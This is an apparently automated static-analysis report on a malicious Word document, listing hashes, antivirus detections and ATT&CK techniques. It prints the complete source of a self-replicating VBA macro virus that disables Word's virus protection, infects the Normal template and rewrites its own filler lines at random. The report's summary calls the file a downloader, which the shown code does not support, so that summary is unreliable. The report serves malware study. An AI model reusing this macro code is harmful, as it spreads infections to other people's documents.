Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 957f2df934026d70…

MALICIOUS

Office (OLE)

53.0 KB Created: 2000-03-27 13:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 1b75102f40494743a81e0db115ed49c9 SHA-1: 2ed80fcd6a80ac79ab906ae80599b984b410dd9d SHA-256: 957f2df934026d70ef14c4e0c17459d491d3ca6f058f494c44f3f3b5b41c01c6
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro that triggers on AutoClose. The macro attempts to export itself to 'c:\macros.bas' and then add it back into the document, indicating an attempt to obfuscate or modify its behavior. This is strongly indicative of a downloader or dropper functionality, commonly associated with malware delivery.

Heuristics 4

  • ClamAV: Doc.Trojan.CPCK-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.CPCK-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8519 bytes
SHA-256: b4c387fb60d98fe17158711679cf09bef7ffc1fadb91bb325295199ce3023b51
Detection
ClamAV: Doc.Trojan.Class-33
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub AutoClose()
PLM = GGR + AQR
On Error Resume Next
PAJ = SRI + VTB
Options.ConfirmConversions = 0
UIL = QBN + KGN
PS16 = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
OFG = SSM + VUE
Options.SaveNormalPrompt = 0
PVF = LCV + OAM
Options.VirusProtection = 0
CCR = GBG + IGU
DG5 = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
VIG = DDO + JJP
Application.EnableCancelKey = 0
HNE = EMB + KTF
If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Sub" Then
RIG = UNN + JCM
Set EI66 = ActiveDocument.VBProject.VBComponents.Item(1)
PUS = ALU + JOL
CP86 = True
LKH = IFB + FVB
End If
IIK = DKF + NLD
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Sub" Then
UOL = ICR + KQN
Set EI66 = NormalTemplate.VBProject.VBComponents.Item(1)
SAE = BCH + CAL
UM91 = True
OLS = BEO + JHD
End If
PUL = BQI + KKE
If UM91 = True Then
HCM = DUC + JGT
ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\" & Application.UserInitials
QGO = FBA + HRG
EI66.CodeModule.AddFromFile ("c:\" & Application.UserInitials)
FKF = HAK + ETM
EI66.CodeModule.deletelines 1, 4
QUH = LBN + JVC
EI66.CodeModule.replaceline 1, "Sub AutoClose()"
UNH = DKE + VCA
ElseIf CP86 = True Then
HMU = LIS + SOP
EI66.CodeModule.AddFromFile ("c:\" & Application.UserInitials)
VHK = JPD + JLR
EI66.CodeModule.deletelines 1, 4
LJL = FNK + OTI
End If
GGD = LEM + HTK
With EI66.CodeModule
EPQ = NRD + REV
For x = 2 To (EI66.CodeModule.CountOfLines - 1) Step 2
BBR = IKC + CDB
.replaceline x, (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & " = " & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & " + " & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22)))
PLM = EKQ + QIT
Next x
QBN = PAJ + IGV
End With
RPJ = QGH + JUC
EH42:
OHC = EBJ + VLK
End Sub

' Processing file: /opt/analyzer/scan_staging/b276b73e1ddb4ddabc99369b56c06497.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 11504 bytes
' Line #0:
' 	FuncDefn (Sub AutoClose())
' Line #1:
' 	Ld GGR 
' 	Ld AQR 
' 	Add 
' 	St PLM 
' Line #2:
' 	OnError (Resume Next) 
' Line #3:
' 	Ld SRI 
' 	Ld VTB 
' 	Add 
' 	St PAJ 
' Line #4:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #5:
' 	Ld QBN 
' 	Ld KGN 
' 	Add 
' 	St UIL 
' Line #6:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St PS16 
' Line #7:
' 	Ld SSM 
' 	Ld VUE 
' 	Add 
' 	St OFG 
' Line #8:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #9:
' 	Ld LCV 
' 	Ld OAM 
' 	Add 
' 	St PVF 
' Line #10:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #11:
' 	Ld GBG 
' 	Ld IGU 
' 	Add 
' 	St CCR 
' Line #12:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St DG5 
' Line #13:
' 	Ld DDO 
' 	Ld JJP 
' 	Add 
' 	St VIG 
' Line #14:
' 	LitDI2 0x0000 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #15:
' 	Ld EMB 
' 	Ld KTF 
' 	Add 
' 	St HNE 
' Line #16:
' 	LitDI2 0x0001 
' 	LitDI2 0x0003 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitDI2 0x0003 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0003 "Sub"
' 	Ne 
' 	IfBlock 
' Line #17:
' 	Ld UNN 
' 	Ld JCM 
' 	Add 
' 	St RIG 
' Line #18:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set EI66 

... (truncated)